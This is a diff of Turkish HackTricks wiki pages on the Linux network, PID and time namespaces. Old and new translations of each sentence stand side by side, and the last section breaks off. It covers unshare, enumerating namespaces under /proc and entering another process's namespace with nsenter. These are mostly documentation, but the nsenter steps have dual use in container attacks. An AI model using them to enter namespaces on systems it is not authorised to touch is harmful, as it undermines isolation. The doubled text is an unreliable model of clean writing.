1. Yeni bir ağ adnamesi oluşturulduğunda, **tamamen izole bir ağ yığını** ile başlar; sadece döngü arayüzü (lo) dışında **hiçbir ağ arayüzü** yoktur. Bu, yeni ağ adnamesinde çalışan süreçlerin varsayılan olarak diğer adnamelerdeki veya ana sistemdeki süreçlerle iletişim kuramayacağı anlamına gelir.
2. veth çiftleri gibi **sanal ağ arayüzleri** oluşturulabilir ve ağ adnameleri arasında taşınabilir. Bu, adnameler arasında veya bir adnamesi ile ana sistem arasında ağ bağlantısı kurmayı sağlar. Örneğin, bir veth çiftinin bir ucu bir konteynerin ağ adnamesine yerleştirilebilir ve diğer ucu ana adnamede bir **köprüye** veya başka bir ağ arayüzüne bağlanarak konteynere ağ bağlantısı sağlar.
3. Bir adnamesi içindeki ağ arayüzleri, diğer adnamelerden bağımsız olarak **kendi IP adreslerine, yönlendirme tablolarına ve güvenlik duvarı kurallarına** sahip olabilir. Bu, farklı ağ adnamelerindeki süreçlerin farklı ağ yapılandırmalarına sahip olmasını ve ayrı ağ sistemlerinde çalışıyormuş gibi işlem yapmasını sağlar.
4. Süreçler, `setns()` sistem çağrısını kullanarak adnameler arasında hareket edebilir veya `CLONE_NEWNET` bayrağı ile `unshare()` veya `clone()` sistem çağrılarını kullanarak yeni adnameler oluşturabilir. Bir süreç yeni bir adnamesine geçtiğinde veya bir tane oluşturduğunda, o adnamesi ile ilişkili ağ yapılandırmasını ve arayüzlerini kullanmaya başlayacaktır.
## Lab:
## Laboratuvar:
### Farklı Ad Alanları Oluşturma
### Farklı Adnameler Oluşturma
#### CLI
```bash
sudo unshare -n [--mount-proc] /bin/bash
# Run ifconfig or ip -a
```
`--mount-proc` parametresini kullanarak `/proc` dosya sisteminin yeni bir örneğini bağladığınızda, yeni bağlama alanının **o ad alanına özgü işlem bilgilerinin doğru ve izole bir görünümünü** sağlarsınız.
Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerine doğru ve izole bir görünüm** sağladığınızı garanti edersiniz.
<details>
<summary>Hata: bash: fork: Bellek tahsis edilemedi</summary>
<summary>Hata: bash: fork: Bellek tahsis edilemiyor</summary>
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl işlediği nedeniyle bir hata oluşur. Ana ayrıntılar ve çözüm aşağıda belirtilmiştir:
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl yönettiği nedeniyle bir hata ile karşılaşılır. Anahtar detaylar ve çözüm aşağıda özetlenmiştir:
1. **Sorun Açıklaması**:
- Linux çekirdeği, bir işlemin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanının oluşturulmasını başlatan işlem (unshare işlemi olarak adlandırılır) yeni ad alanına girmemektedir; sadece çocuk işlemleri girer.
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı işlemde başlatır. Sonuç olarak, `/bin/bash` ve çocuk işlemleri orijinal PID ad alanında bulunur.
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk işlemi PID 1 olur. Bu işlem çıkış yaptığında, eğer başka işlem yoksa ad alanının temizlenmesini tetikler, çünkü PID 1 yetim işlemleri sahiplenme özel rolüne sahiptir. Linux çekirdeği daha sonra o ad alanında PID tahsisini devre dışı bırakır.
- Linux çekirdeği, bir sürecin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanı oluşturma işlemini başlatan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmemektedir; yalnızca onun çocuk süreçleri girmektedir.
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanında kalır.
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, bu ad alanında PID tahsisini devre dışı bırakır.
2. **Sonuç**:
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir işlem oluştururken `alloc_pid` işlevinin yeni bir PID tahsis edememesine ve "Bellek tahsis edilemedi" hatasının oluşmasına neden olur.
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluşturulurken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir.
3. **Çözüm**:
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni bir PID ad alanı oluşturduktan sonra yeni bir işlem çatallamasını sağlar.
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 haline gelmesini sağlar. `/bin/bash` ve çocuk işlemleri bu yeni ad alanında güvenli bir şekilde sınırlanır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar.
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını garanti eder. `/bin/bash` ve onun çocuk süreçleri bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
`unshare` komutunun `-f` bayrağıyla çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ve alt işlemleri bellek tahsis hatasıyla karşılaşmadan çalışabilir.
`unshare`'in `-f` bayrağı ile çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ile alt süreçlerinin bellek tahsis hatası ile karşılaşmadan çalışmasına olanak tanır.
</details>
@ -64,19 +65,11 @@ docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
# Run ifconfig or ip -a
```
### &#x20;Hangi ad alanında olduğunuzu kontrol edin
Bir sürecin hangi ad alanında olduğunu kontrol etmek için aşağıdaki komutu kullanabilirsiniz:
```bash
ls -l /proc/<PID>/ns/
```
Burada `<PID>`, kontrol etmek istediğiniz sürecin kimlik numarasını temsil eder. Bu komut, sürecin bulunduğu ad alanlarının sembolik bağlantılarını listeler.
```bash
ls -l /proc/self/ns/net
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
```
### Tüm Ağ isim alanlarını bulun
### Tüm Ağ ad alanlarını Bul
{% code overflow="wrap" %}
```bash
@ -84,29 +77,28 @@ sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null |
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
{% code %}
### Bir Ağ ad alanına giriş yapın
{% endcode %}
### Bir Ağ ad alanına girin
```bash
nsenter -n TARGET_PID --pid /bin/bash
```
Ayrıca, başka bir işlem ad alanına **yalnızca root olarak girebilirsiniz**. Ve başka bir ad alanına **bir tanımlayıcı olmadan** (örneğin `/proc/self/ns/net`) **giremezsiniz**.
Ayrıca, **başka bir işlem ad alanına yalnızca root iseniz girebilirsiniz**. Ve **başka bir ad alanına** **giremezsiniz** **onu işaret eden bir tanımlayıcı olmadan** (örneğin `/proc/self/ns/net`).
## Referanslar
## References
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,39 @@
# PID Ad Alanı
# PID Namespace
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
## Temel Bilgiler
PID (Process IDentifier) ad alanı, Linux çekirdeğinde bir özelliktir ve diğer ad alanlarındaki PID'lerden bağımsız olarak bir grup işlemin kendi benzersiz PID kümesine sahip olmasını sağlayarak işlem izolasyonu sağlar. Bu, özellikle güvenlik ve kaynak yönetimi için işlem izolasyonunun önemli olduğu konteynerleştirme durumlarında kullanışlıdır.
PID (Process IDentifier) namespace, Linux çekirdeğinde, bir grup sürecin kendi benzersiz PID'lerine sahip olmasını sağlayarak süreç izolasyonu sağlayan bir özelliktir. Bu, süreç izolasyonunun güvenlik ve kaynak yönetimi için hayati olduğu konteynerleştirmede özellikle yararlıdır.
Yeni bir PID ad alanı oluşturulduğunda, bu ad alanındaki ilk işleme PID 1 atanır. Bu işlem, yeni ad alanının "init" işlemi olur ve ad alanı içindeki diğer işlemleri yönetmekten sorumludur. Ad alanı içinde oluşturulan her bir sonraki işlem, bu ad alanı içinde benzersiz bir PID'ye sahip olacak ve bu PID'ler diğer ad alanlarındaki PID'lerden bağımsız olacaktır.
Yeni bir PID namespace oluşturulduğunda, o namespace içindeki ilk süreç PID 1 ile atanır. Bu süreç, yeni namespace'in "init" süreci haline gelir ve namespace içindeki diğer süreçleri yönetmekten sorumludur. Namespace içinde oluşturulan her bir sonraki süreç, o namespace içinde benzersiz bir PID alır ve bu PID'ler diğer namespace'lerdeki PID'lerden bağımsızdır.
Bir PID ad alanı içindeki bir işlem açısından, yalnızca aynı ad alanındaki diğer işlemleri görebilir. Diğer ad alanlarındaki işlemlerden haberdar değildir ve geleneksel işlem yönetimi araçlarını (örneğin, `kill`, `wait`, vb.) kullanarak bunlarla etkileşime geçemez. Bu, işlemlerin birbirleriyle etkileşimini engelleyen bir izolasyon seviyesi sağlar.
Bir PID namespace içindeki bir süreç açısından, yalnızca aynı namespace içindeki diğer süreçleri görebilir. Diğer namespace'lerdeki süreçlerden haberdar değildir ve geleneksel süreç yönetim araçları (örneğin, `kill`, `wait`, vb.) kullanarak onlarla etkileşimde bulunamaz. Bu, süreçlerin birbirine müdahale etmesini önlemeye yardımcı olan bir izolasyon seviyesi sağlar.
### Nasıl Çalışır:
### Nasıl çalışır:
1. Yeni bir işlem oluşturulduğunda (örneğin, `clone()` sistem çağrısı kullanılarak), işlem yeni veya mevcut bir PID ad alanına atanabilir. **Yeni bir ad alanı oluşturulursa, işlem bu ad alanının "init" işlemi olur**.
2. **Çekirdek**, yeni ad alanındaki PID'ler ile ebeveyn ad alanındaki karşılık gelen PID'ler arasında bir **eşleme tutar** (yani, yeni ad alanının oluşturulduğu ad alan). Bu eşleme, PID'leri gerektiğinde çevirmek için çekirdeğe olanak sağlar, örneğin farklı ad alanlarındaki işlemler arasında sinyal gönderirken.
3. **PID ad alanı içindeki işlemler yalnızca aynı ad alanındaki diğer işlemleri görebilir ve bunlarla etkileşime geçebilir**. Diğer ad alanlarındaki işlemlerden haberdar değillerdir ve PID'leri kendi ad alanlarıinde benzersizdir.
4. Bir **PID ad alanı yok edildiğinde** (örneğin, ad alanının "init" işlemi çıkış yaptığında), **o ad alanı içindeki tüm işlemler sonlandırılır**. Bu, ad alanıyla ilişkili tüm kaynakların düzgün bir şekilde temizlendiğini sağlar.
1. Yeni bir süreç oluşturulduğunda (örneğin, `clone()` sistem çağrısı kullanılarak), süreç yeni veya mevcut bir PID namespace'ine atanabilir. **Yeni bir namespace oluşturulursa, süreç o namespace'in "init" süreci olur**.
2. **Çekirdek**, yeni namespace'deki PID'ler ile ana namespace'deki (yani yeni namespace'in oluşturulduğu namespace) karşılık gelen PID'ler arasında bir **eşleme** tutar. Bu eşleme, **çekirdeğin gerekli olduğunda PID'leri çevirmesine olanak tanır**, örneğin farklı namespace'lerdeki süreçler arasında sinyaller gönderirken.
3. **Bir PID namespace içindeki süreçler yalnızca aynı namespace içindeki diğer süreçleri görebilir ve onlarla etkileşimde bulunabilir**. Diğer namespace'lerdeki süreçlerden haberdar değillerdir ve PID'leri kendi namespace'lerinde benzersizdir.
4. **Bir PID namespace yok edildiğinde** (örneğin, namespace'in "init" süreci çıktığında), **o namespace içindeki tüm süreçler sonlandırılır**. Bu, namespace ile ilişkili tüm kaynakların düzgün bir şekilde temizlenmesini sağlar.
## Lab:
## Laboratuvar:
### Farklı Ad Alanları Oluşturma
### Farklı Namespace'ler Oluşturma
#### CLI
```bash
@ -41,52 +43,36 @@ sudo unshare -pf --mount-proc /bin/bash
<summary>Hata: bash: fork: Bellek tahsis edilemiyor</summary>
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) namespace'leri nasıl işlediği nedeniyle bir hata oluşur. Ana detaylar ve çözüm aşağıda belirtilmiştir:
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl yönettiği nedeniyle bir hata ile karşılaşılır. Ana detaylar ve çözüm aşağıda özetlenmiştir:
1. **Sorun Açıklaması**:
- Linux çekirdeği, bir işlemin `unshare` sistem çağrısını kullanarak yeni namespace'ler oluşturmasına izin verir. Ancak, yeni bir PID namespace'inin oluşturulmasını başlatan işlem (unshare işlemi olarak adlandırılır) yeni namespace'e girmemektedir; sadece çocuk işlemleri girmektedir.
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı işlemde başlatır. Sonuç olarak, `/bin/bash` ve çocuk işlemleri orijinal PID namespace'inde bulunur.
- Yeni namespace'deki `/bin/bash`'in ilk çocuk işlemi PID 1 olur. Bu işlem çıkış yaptığında, eğer başka işlem yoksa, namespace'in temizlenmesini tetikler. Çünkü PID 1 yetim işlemleri sahiplenme özel rolüne sahiptir. Linux çekirdeği, o namespace'de PID tahsisini devre dışı bırakır.
- Linux çekirdeği, bir sürecin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanı oluşturma işlemini başlatan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmez; yalnızca onun çocuk süreçleri girer.
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanındadır.
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, o ad alanında PID tahsisini devre dışı bırakır.
2. **Sonuç**:
- Yeni bir namespace'deki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine neden olur. Bu, yeni bir işlem oluştururken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine ve "Bellek tahsis edilemiyor" hatasının oluşmasına yol açar.
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluştururken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir.
3. **Çözüm**:
- Sorun, `unshare` komutunu `-f` seçeneğiyle kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni bir PID namespace oluşturduktan sonra yeni bir işlem çatallamasını sağlar.
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni namespace'de PID 1 olmasını sağlar. `/bin/bash` ve çocuk işlemleri bu yeni namespace içinde güvenli bir şekilde yer alır, PID 1'in erken çıkışını engeller ve normal PID tahsisine izin verir.
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar.
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını garanti eder. `/bin/bash` ve onun çocuk süreçleri, bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
`unshare` komutunun `-f` bayrağıyla çalıştığından emin olarak, yeni PID namespace'inin doğru bir şekilde korunduğundan ve `/bin/bash` ve alt işlemlerinin bellek tahsis hatasıyla karşılaşmadan çalışmasına izin verilir.
`unshare`'in `-f` bayrağı ile çalıştırılmasını sağlayarak, yeni PID ad alanının doğru bir şekilde korunmasını sağlarsınız, böylece `/bin/bash` ve alt süreçleri bellek tahsis hatası ile karşılaşmadan çalışabilir.
</details>
`--mount-proc` parametresini kullanarak `/proc` dosya sisteminin yeni bir örneğini bağladığınızda, yeni mount namespace'inin **o namespace'e özgü işlem bilgilerinin doğru ve izole bir görünümünü** sağlamış olursunuz.
Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresini kullanarak monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerini doğru ve izole bir şekilde görmesini** sağlarsınız.
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Hangi ad alanında olduğunuzu kontrol edin
Bir sürecin hangi ad alanında olduğunu kontrol etmek için aşağıdaki komutu kullanabilirsiniz:
```bash
ls -l /proc/<PID>/ns
```
Burada `<PID>`, ad alanını kontrol etmek istediğiniz sürecin kimlik numarasını temsil eder. Bu komutu çalıştırdığınızda, sürecin PID ad alanı hakkında bilgi içeren bir dizi sembolik bağlantı göreceksiniz.
Örneğin, PID'si 123 olan bir sürecin ad alanlarını kontrol etmek için aşağıdaki komutu kullanabilirsiniz:
```bash
ls -l /proc/123/ns
```
Bu komutu çalıştırdığınızda, sürecin PID ad alanı hakkında bilgi içeren sembolik bağlantıları göreceksiniz.
```bash
ls -l /proc/self/ns/pid
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
```
### Tüm PID ad alanlarını bulun
### Tüm PID ad alanlarını bul
{% code overflow="wrap" %}
```bash
@ -94,29 +80,31 @@ sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null |
```
{% endcode %}
Not: İlk (varsayılan) PID ad alanından kök kullanıcısı, yeni PID ad alanlarındaki süreçleri bile görebilir, bu yüzden tüm PID ad alanlarını görebiliriz.
Başlangıç (varsayılan) PID ad alanındaki root kullanıcısının, yeni PID ad alanlarındaki süreçler de dahil olmak üzere tüm süreçleri görebileceğini unutmayın, bu yüzden tüm PID ad alanlarını görebiliyoruz.
### Bir PID ad alanına giriş yapma
### Bir PID ad alanına girin
```bash
nsenter -t TARGET_PID --pid /bin/bash
```
PID ad alanına varsayılan ad alanından girdiğinizde, hala tüm işlemleri görebilirsiniz. Ve PID ad alanındaki işlem, PID ad alanındaki yeni bash'i görebilir.
PID ad alanına varsayılan ad alanından girdiğinizde, tüm süreçleri görebilirsiniz. Ve o PID ns'deki süreç, PID ns'deki yeni bash'i görebilecektir.
Ayrıca, **yalnızca kök kullanıcıysanız başka bir işlem PID ad alanına girebilirsiniz**. Ve **/proc/self/ns/pid** gibi ona işaret eden bir tanımlayıcı olmadan **başka bir ad alana giremezsiniz**.
Ayrıca, **başka bir süreç PID ad alanına yalnızca root iseniz girebilirsiniz**. Ve **bir tanımlayıcı olmadan** **başka bir ad alanına giremezsiniz** (örneğin `/proc/self/ns/pid` gibi).
## Referanslar
## References
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,52 +1,61 @@
# Zaman Ad Alanı
# Time Namespace
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u** takip edin.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## Temel Bilgiler
Linux'taki zaman ad alanı, ad alanı başına sistem monotonic ve boot-time saatlerine göre ofsetler sağlar. Linux konteynerlarında yaygın olarak kullanılır, böylece bir konteyner içinde tarih/saat değiştirilebilir ve bir kontrol noktasından veya anlık görüntüden geri yüklendikten sonra saatler ayarlanabilir.
Linux'taki zaman alanı, sistemin monotonik ve önyükleme zamanı saatlerine her alan için kaydırmalar yapılmasına olanak tanır. Genellikle Linux konteynerlerinde, bir konteyner içindeki tarih/saatin değiştirilmesi ve bir kontrol noktasından veya anlık görüntüden geri yüklendikten sonra saatlerin ayarlanması için kullanılır.
## Lab:
## Laboratuvar:
### Farklı Ad Alanları Oluşturma
### Farklı Alanlar Oluşturma
#### CLI
```bash
sudo unshare -T [--mount-proc] /bin/bash
```
`--mount-proc` parametresini kullanarak `/proc` dosya sisteminin yeni bir örneğini bağladığınızda, yeni bağlama alanının **o ad alanına özgü işlem bilgilerinin doğru ve izole bir görünümünü** sağlarsınız.
Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerine doğru ve izole bir görünüm** sağladığınızı garanti edersiniz.
<details>
<summary>Hata: bash: fork: Bellek tahsis edilemedi</summary>
<summary>Hata: bash: fork: Bellek tahsis edilemiyor</summary>
